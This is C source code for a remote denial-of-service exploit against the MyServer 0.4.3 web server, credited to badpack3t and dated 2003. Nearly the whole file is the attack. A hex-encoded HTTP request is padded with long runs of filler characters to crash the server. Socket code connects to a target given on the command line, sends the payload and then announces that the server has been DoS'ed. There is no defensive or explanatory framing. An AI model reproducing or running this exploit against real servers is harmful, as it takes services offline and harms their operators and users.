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MyServer 0.4.3 Remote denial of service Exploit
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/* MyServer 0.4.3 DoS
* vendor:
* http://myserverweb.sourceforge.net
*
* Written and found by badpack3t at security-protocols.com
* For SP Research Labs
* 09/08/2003
*
* usage:
* sp-myserv [targetport] (default is 80)
*/
#include "stdafx.h"
#include
#include
#pragma comment(lib, "ws2_32.lib")
char exploit[] =
/* entire request */
"\x47\x45\x54\x20\x2f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f"
"\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f"
"\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f"
"\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f"
"\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f"
"\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f"
"\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f"
"\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f"
"\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f"
"\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f"
"\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f"
"\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f"
"\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f"
"\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f"
"\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f"
"\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f"
"\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f"
"\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f"
"\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f"
"\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f"
"\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f"
"\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f"
"\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f"
"\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f"
"\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f"
"\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f"
"\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f"
"\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f"
"\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f"
"\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f"
"\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f"
"\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f"
"\x3f\x3f\x3f\x3f\x3f\x2e\x48\x54\x4d\x4c\x3f\x74\x65\x73\x74\x76"
"\x61\x72\x69\x61\x62\x6c\x65\x3d\x26\x6e\x65\x78\x74\x74\x65\x73"
"\x74\x76\x61\x72\x69\x61\x62\x6c\x65\x3d\x67\x69\x66\x20\x48\x54"
"\x54\x50\x2f\x31\x2e\x31\x0a\x52\x65\x66\x65\x72\x65\x72\x3a\x20"
"\x68\x74\x74\x70\x3a\x2f\x2f\x6c\x6f\x63\x61\x6c\x68\x6f\x73\x74"
"\x2f\x62\x6f\x62\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d\x54\x79\x70"
"\x65\x3a\x20\x61\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e\x2f\x78"
"\x2d\x77\x77\x77\x2d\x66\x6f\x72\x6d\x2d\x75\x72\x6c\x65\x6e\x63"
"\x6f\x64\x65\x64\x0a\x43\x6f\x6e\x6e\x65\x63\x74\x69\x6f\x6e\x3a"
"\x20\x4b\x65\x65\x70\x2d\x41\x6c\x69\x76\x65\x0a\x43\x6f\x6f\x6b"
"\x69\x65\x3a\x20\x56\x41\x52\x49\x41\x42\x4c\x45\x3d\x53\x45\x43"
"\x55\x52\x49\x54\x59\x2d\x50\x52\x4f\x54\x4f\x43\x4f\x4c\x53\x3b"
"\x20\x70\x61\x74\x68\x3d\x2f\x0a\x55\x73\x65\x72\x2d\x41\x67\x65"
"\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x34\x2e\x37\x36"
"\x20\x5b\x65\x6e\x5d\x20\x28\x58\x31\x31\x3b\x20\x55\x3b\x20\x4c"
"\x69\x6e\x75\x78\x20\x32\x2e\x34\x2e\x32\x2d\x32\x20\x69\x36\x38"
"\x36\x29\x0a\x56\x61\x72\x69\x61\x62\x6c\x65\x3a\x20\x72\x65\x73"
"\x75\x6c\x74\x0a\x48\x6f\x73\x74\x3a\x20\x6c\x6f\x63\x61\x6c\x68"
"\x6f\x73\x74\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d\x6c\x65\x6e\x67"
"\x74\x68\x3a\x20\x20\x20\x20\x20\x35\x31\x33\x0a\x41\x63\x63\x65"
"\x70\x74\x3a\x20\x69\x6d\x61\x67\x65\x2f\x67\x69\x66\x2c\x20\x69"
"\x6d\x61\x67\x65\x2f\x78\x2d\x78\x62\x69\x74\x6d\x61\x70\x2c\x20"
"\x69\x6d\x61\x67\x65\x2f\x6a\x70\x65\x67\x2c\x20\x69\x6d\x61\x67"
"\x65\x2f\x70\x6a\x70\x65\x67\x2c\x20\x69\x6d\x61\x67\x65\x2f\x70"
"\x6e\x67\x0a\x41\x63\x63\x65\x70\x74\x2d\x45\x6e\x63\x6f\x64\x69"
"\x6e\x67\x3a\x20\x67\x7a\x69\x70\x0a\x41\x63\x63\x65\x70\x74\x2d"
"\x4c\x61\x6e\x67\x75\x61\x67\x65\x3a\x20\x65\x6e\x0a\x41\x63\x63"
"\x65\x70\x74\x2d\x43\x68\x61\x72\x73\x65\x74\x3a\x20\x69\x73\x6f"
"\x2d\x38\x38\x35\x39\x2d\x31\x2c\x2a\x2c\x75\x74\x66\x2d\x38\x0a"
"\x0a\x0a\x77\x68\x61\x74\x79\x6f\x75\x74\x79\x70\x65\x64\x3d\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x0a\x0a\r\n";
int main(int argc, char *argv[])
{
WSADATA wsaData;
WORD wVersionRequested;
struct hostent *pTarget;
struct sockaddr_in sock;
char *target, buffer[30000];
int port,bufsize;
SOCKET mysocket;
if (argc < 2)
{
printf("MyServer 0.4.3 DoS by badpack3t\r\n <>\r\n\r\n", argv[0]);
printf("Usage:\r\n %s [targetport] (default is 80)\r\n\r\n", argv[0]);
printf("www.security-protocols.com\r\n\r\n", argv[0]);
exit(1);
}
wVersionRequested = MAKEWORD(1, 1);
if (WSAStartup(wVersionRequested, &wsaData) < 0) return -1;
target = argv[1];
port = 80;
if (argc >= 3) port = atoi(argv[2]);
bufsize = 1024;
if (argc >= 4) bufsize = atoi(argv[3]);
mysocket = socket(AF_INET, SOCK_STREAM, 0);
if(mysocket==INVALID_SOCKET)
{
printf("Socket error!\r\n");
exit(1);
}
printf("Resolving Hostnames...\n");
if ((pTarget = gethostbyname(target)) == NULL)
{
printf("Resolve of %s failed\n", argv[1]);
exit(1);
}
memcpy(&sock.sin_addr.s_addr, pTarget->h_addr, pTarget->h_length);
sock.sin_family = AF_INET;
sock.sin_port = htons((USHORT)port);
printf("Connecting...\n");
if ( (connect(mysocket, (struct sockaddr *)&sock, sizeof (sock) )))
{
printf("Couldn't connect to host.\n");
exit(1);
}
printf("Connected!...\n");
printf("Sending Payload...\n");
if (send(mysocket, exploit, sizeof(exploit)-1, 0) == -1)
{
printf("Error Sending the Exploit Payload\r\n");
closesocket(mysocket);
exit(1);
}
printf("Remote Webserver has been DoS'ed \r\n");
closesocket(mysocket);
WSACleanup();
return 0;
}
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